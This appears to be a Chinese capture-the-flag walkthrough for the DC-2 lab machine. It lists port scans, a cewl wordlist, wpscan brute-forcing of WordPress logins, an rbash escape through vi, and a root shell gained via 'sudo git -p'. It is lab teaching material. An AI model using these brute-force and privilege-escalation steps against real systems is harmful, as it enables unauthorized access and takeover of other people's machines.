目录
一、主机存活探测
二、主机端口探测
三、漏洞探测和利用
(一)第一个flag
(二)第二个flag
1. cewl生成密码字典
2. wpscan基于字典爆破
(三)第三个flag
1. rbash逃逸
(四)第四个flag
四、提权
(一)最终flag
masscan --rate=100000 -p 1-65535 192.168.101.69
nmap -T4 -sV -p80,7744 -A 192.168.101.69
由于发现网站框架使用的wordpress,本次测试使用wpscan进行。
cewl http://dc-2 -w wordlist.txt
wpscan --url http://dc-2/ -e u
wpscan --url http://dc-2 -U admin -P wordlist.txt
wpscan --url http://dc-2 -U jerry -P wordlist.txt
wpscan --url http://dc-2 -U tom -P wordlist.txt
root@kali:~# ssh [email protected] -p 7744
[email protected]'s password:The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.tom@DC-2:~$
tom@DC-2:~$ lsflag3.txt usr
tom@DC-2:~$ cat flag3.txt-rbash: cat: command not foundvi flag3.txt,内容如下:Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.or old Tom is always running after
vi flag3.txt
输入:set shell=/bin/sh回车
输入:shell回车
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
jerry@DC-2:~$ sudo git -p
输入!/bin/sh提权到root